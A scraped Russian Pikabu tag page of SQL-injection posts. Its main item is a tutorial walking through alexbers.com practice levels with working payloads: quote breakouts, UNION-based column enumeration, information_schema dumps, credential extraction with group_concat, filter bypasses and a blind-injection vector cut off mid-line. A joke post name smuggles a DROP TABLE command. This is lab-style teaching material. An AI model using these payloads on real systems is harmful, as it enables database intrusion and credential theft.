Горячее
Лучшее
Свежее
Подписки
Сообщества
Блоги
Эксперты
Войти
Забыли пароль?
или продолжите с
Создать аккаунт
Регистрируясь, я даю согласие на обработку данных и условия почтовых рассылок.
или
Восстановление пароля
Восстановление пароля
Получить код в Telegram
Войти с Яндекс ID Войти через VK ID
ПромокодыРаботаКурсыРекламаИгрыПополнение Steam
Пикабу Игры +1000 бесплатных онлайн игр Разгадывайте увлекательные головоломки «три в ряд» и отправляйтесь в захватывающее приключение! Преодолевайте яркие и насыщенные уровни, чтобы раскрыть новую главу доброй и современной истории о мышонке и его верных друзьях!

Мышонок Шон

Казуальные, Три в ряд, Головоломки

Играть

Топ прошлой недели

  • solenakrivetka solenakrivetka 7 постов
  • Animalrescueed Animalrescueed 53 поста
  • ia.panorama ia.panorama 12 постов
Посмотреть весь топ

Лучшие посты недели

Рассылка Пикабу: отправляем самые рейтинговые материалы за 7 дней 🔥

Нажимая «Подписаться», я даю согласие на обработку данных и условия почтовых рассылок.

Спасибо, что подписались!
Пожалуйста, проверьте почту 😊

Помощь Кодекс Пикабу Команда Пикабу Моб. приложение
Правила соцсети О рекомендациях О компании
Промокоды Биг Гик Промокоды Lamoda Промокоды МВидео Промокоды Яндекс Маркет Промокоды Пятерочка Промокоды Aroma Butik Промокоды Яндекс Путешествия Промокоды Яндекс Еда Постила Футбол сегодня
0 просмотренных постов скрыто
244
an0nym
an0nym
IT-юмор

Хорошая попытка, Алекс.⁠⁠

8 лет назад
Хорошая попытка, Алекс.
IT Юмор SQL Sql injection
42
64
vybgrib
vybgrib
IT-юмор

Да что ты знаешь об SQL-инъекциях...⁠⁠

9 лет назад
Да что ты знаешь об SQL-инъекциях...
Sql injection Drop IT Юмор Сисадмин Айтишники Интернет
12
84
ZhopaPutina
ZhopaPutina

Как работают SQL Инъекции⁠⁠

9 лет назад
Как работают SQL Инъекции
Показать полностью 1
Программирование SQL Sql injection Симпсоны Профессиональный юмор Длиннопост
37
1
bykvaadm

Мама папа я и микрокалькулятор часть 3⁠⁠

10 лет назад
В этом выпуске поговорим немного о решении sql-инъекций. Не буду сюда писать одну из тысяч статей что такое sql-инъекция. Прочитать об этом можно например вот здесь: www.google.com
а про то как эксплуатировать - тут https://rdot.org/forum/showthread.php?t=124

Предыдущий выпуск не особо вообще кому-то понравился, в этом я сделаю акцент на решении практических примеров. На сайте alexbers.com/sql есть подборка скульных инъекций. Разберем, как это работает. Я специально не буду указывать «пароли» от следующих уровней и ссылки на эти уровни.

Пример 1: https://www.alexbers.com/sql/1.php

Это даже и не пример, требуется самому написать запрос, с заранее известными всеми таблицами, именем пользователя.

Дано:
Таблица: users
Поля: id,login,pass

Решение:
https://www.alexbers.com/sql/1.php?text=select * from users where id='12

Просто запрос со всеми данными, которые нам заведомо известны.

Пример 2: https://www.alexbers.com/sql/ZZZZZZZZZ2.php

Нам продемонстрирован запрос:
select * from users where id=2 or login='$text'

Дано:
Таблица: users
Поля: id,login,pass

В этом примере показана примитивная уязвимость: входные данные никак не фильтруются. Поэтому мы можем воспользоваться кавычкой:
https://www.alexbers.com/sql/ZZZZZZZZZZZ2.php?text=-1' or id='9

Что мы сделали? Мы привели запрос к такому виду:
select * from users where id=2 or login='-1' or id='9'

Мы пытаемся извлечь из таблицы users пользователя с id=2 или с login=1 или с id=9, которая взята кавычкой слева и будет закрыта кавычкой оригинального запроса
Поскольку пользователя «-1» не существует, мы из этого запроса ничего не получаем, зато id=9 существует. В результате получаем вывод из 2-х строк — пользователь с id=2 и с id=9.

Пример 3: https://www.alexbers.com/sql/ZZZZZZZ3.php

Опять виден запрос:
select * from users where id=2 or login='$text' limit 1

Дано:
Таблица: users
Поля: id,login,pass

Различие с предыдущим примером — ограничение на вывод в 1 строку. Уходит приплясывая при постановке комментария, который «уберет» конец строки, т.е. Он не будет обработан.

Решение:
https://www.alexbers.com/sql/ZZZZZZZ3.php?text=-1' or id='13 -- 123

Вид запроса:
select * from users where id=2 or login='-1 or id='13' --123' limit 1
Таким образом мы выкидываем ограничение и извлекаем пользователя с id=13

Пример 4: https://www.alexbers.com/sql/ZZZZZZ4.php

Запрос:
select * from users where id=2 or login='$text' limit 1

Дано:
Таблицы: users, secret
Поля: id,login,pass - это в users. В таблице secret - 3 поля

Чуток поинтересней. Теперь у нас 2 таблицы, и запрос выполняется не к той таблице, которая нам нужна. Воспользуемся классическим способом. В mysql существует оператор, который позволяет выполнять запрос к разным таблицам через 1 запрос. Для работы с объеденением запросов нам необходимо чтобы во всех объеденяемых запросах количество полей было одинаковым. Так как мы не можем повлиять на их количество в первом запросе, то нам нужно подобрать их количество во втором к первому. Сделать это можно несколькими способами, воспользуемся оператором union. Дело в том, что количество столбцов до UNION и после должны соответствовать, и, наверняка, вылезет ошибка
Запрос:
https://www.alexbers.com/sql/ZZZZZZ4.php?text=-1' union select 1,2 -- 123
Настоящий вид запроса:
select * from users where id=2 or login='-1' union select 1,2 -- 123' limit 1
Ответ сервера:
Could not query: The used SELECT statements have a different number of columns
Значит число отличается от того, которое реально в таблице users. Методом изменения перечисления столбцов приходим к выводу, что число столбцов — 3 штуки. (В этом случае ошибки не будет). Теперь у нас кое где в странице должны отобразится какие-нибудь из этих цифр. Теперь чтобы нам получить какую нибудь информацию нам нужно заменять эти цифры в обрщении к скрипту на нужные нам функции.

Кстати, тут также можно привести примитивный пример xss через sqli:
https://www.alexbers.com/sql/ZZZZZZ4.php?text=-1' union select 1,alert('XSS'),3 -- 123
Как уже заметили, цифры 1,2,3 выводятся на экран, а ведь это прямая запись кода в страничку. Воспользуемся этим и выведем алерт

Но наша цель — другое, вывести информацию из другой таблицы. О ней мы знаем только то, что в ней 3 поля и ее название. Чтобы извлечь какие-то поля, мы должны их знать. Сделать это можно несколькими способами, например, если у нас есть доступ к служебной таблице information schema. Таблица information_schema.columns хранит информацию об именах колонок. Извлечем информацию о всех колонках всех таблиц и отфильтруем ее только теми, которые принадлежат таблице secret:

https://www.alexbers.com/sql/ZZZZZZ4.php
?text=-1'+union+select+1,column_name,3+from+information_schema.columns where table_name='secret'--+123

Результат:
id
login
pass
2
qwer
rewq
1
f1
3
1
f2
3
1
ggg
3

Можно использовать более обширную и наглядную выборку:
https://www.alexbers.com/sql/ZZZZZZ4.php?text=-1'+union+select+1,concat_ws(0x3a,table_name,column_name),3+from+information_schema.columns where table_name='secret'+--+123


По задаче требуется найти данное секретной таблицы с полем ggg=abc. Извлечем данные колонок f1,f2:
https://www.alexbers.com/sql/ZZZZZZ4.php
?text=-1'+union+select+f1,f2,ggg+from+secret where ggg='abc'--+123

Один из результатов и будет ответом на уровень :)

Пример 5: https://www.alexbers.com/sql/ZZZZZZZ5.php

Запрос:
select * from users where id=2 or login='$text' limit 1

Дано:
Таблицы: users, secret
Поля: id,login,pass - это в users. В таблице secret - 2 поля

Попробуем повторить предыдущий пример. Узнаем сколько колонок в таблице users, извлечем список всех колонок для секретной таблицы.

https://www.alexbers.com/sql/ZZZZZZZ5.php?text=1' union+select+1,concat_ws(0x3a,table_name,column_name),3+from+information_schema.columns where table_name='secret'--+123

Видим, что у нас в таблице secret – находится 2 колонки, извлечем их значения:
https://www.alexbers.com/sql/ZZZZZZZ5.php?text=-1' union select 1,dfgdfgfdg,dfgfddfgdfdfdf from secret-- 123

Видим ответ =)

Пример 6: https://www.alexbers.com/sql/ZZZZZ6.php

Запрос:
select * from users where id=$text limit 1

Дано:
Таблицы: users
Поля: id,login,pass - это в users.
Фильтруются кавычки, выводится только 1 строка из БД

Здесь видно «непонимание принципов работы фильтра mysq_real_escape”, когда значение переменной id не помещено в кавычки. Тогда, хоть они и 50 раз фильтруются, они нам и не нужны. Выборка проста до невозможности:

https://www.alexbers.com/sql/ZZZZZ6.php?text=-1 or login=CHAR(103, 111, 100)

Допустим, что нам слишком много известно из «дано» (Это отступление, не имеющее отношение к примеру). Обычно приходится подбирать все вручную и здесь нас пытается обломать «выводится только 1 строка из БД». В таких случаях можно использовать объединение результата запроса в 1 строку:

https://www.alexbers.com/sql/ZZZZZ6.php?text=-1 union select 1,2,group_concat(concat_ws(0x3a,id,login,pass)) from users where id>27
Для перемещения по такой выборке можно использовать либо id, либо строку (часть вывода) которую в частном примере нужно будет пропустить через char(). (спасибо rdot.org)

Пример 7: https://www.alexbers.com/sql/ZZZZ7.php

Дано:
Таблицы: users
Поля: id,login,pass - это в users.Теперь всегда выводится только первая строка ответа(остальные не выводятся) Фильтруются символы ',",+,=,запятая,пробел,скобки

Запрос:
select * from users where id=$text limit 1

Поскольку выборка идет сразу по нужной нам таблице, то даже не придется использовать второй запрос. Пробелы заменяются на комментарии (// и /*!*/), остается только одна проблема — фильтруется знак равенства. Но его можно обойти используя оператор like. Этот оператор можно использовать сравнивая напрямую со строкой, но тогда придется использовать кавычки, либо без кавычек и требуется перекодировать строку в hex. Также, нам доподлинно неизвестен ник который мы ищем, поэтому будем использовать поиск по маске, со значком % в логине. Итоговый вектор атаки примет вид:

https://www.alexbers.com/sql/ZZZZ7.php?text=-1/*!or/*!login*/like/
/0x2567656e746f6f25

Пример 8: https://www.alexbers.com/sql/ZZZZZ8.php

Запрос:
select * from users where id=$text

Дано:
Таблицы: users
Поля: id,login,pass - это в users.
Подсказка: сообщения от ошибках не выведутся

Единственное, что нам навообще что-то выводится - информация о том, что произошла какая-то ошибка, или количество выведенных записей. Количество выводимых записей — единственное число которым мы можем управлять. От нас требуется получить пароль от пользователя. Пароль — это некоторая информация, записываемая в числово-буквенном виде. Все чем мы можем оперировать — цифры. Значит пароль надо представить в численном виде. Если взять и перевести каждый символ в ascii – вид, то любой символ из пароля будет в виде числа. Для отделения символа воспользуемся функцией mid(), для перевода в ascii – функция ascii(), вектор атаки получится вот таким:

https://www.alexbers.com/sql/ZZZZZ8.php?text=-1 or id
Показать полностью
[моё] Sql injection Sqli Alexbers Rdot Текст Длиннопост
11
6
qvovert169
qvovert169

Василий');Drop Table Students;--⁠⁠

11 лет назад
В честь http://pikabu.ru/story/_2518198
Василий');Drop Table Students;--
Имена Sql injection База данных
5
Посты не найдены
О нас
О Пикабу Контакты Реклама Сообщить об ошибке Сообщить о нарушении законодательства Отзывы и предложения Новости Пикабу Мобильное приложение RSS
Информация
Помощь Кодекс Пикабу Команда Пикабу Конфиденциальность Правила соцсети О рекомендациях О компании
Наши проекты
Блоги Работа Промокоды Игры Курсы
Партнёры
Промокоды Биг Гик Промокоды Lamoda Промокоды Мвидео Промокоды Яндекс Маркет Промокоды Пятерочка Промокоды Aroma Butik Промокоды Яндекс Путешествия Промокоды Яндекс Еда Постила Футбол сегодня
На информационном ресурсе Pikabu.ru применяются рекомендательные технологии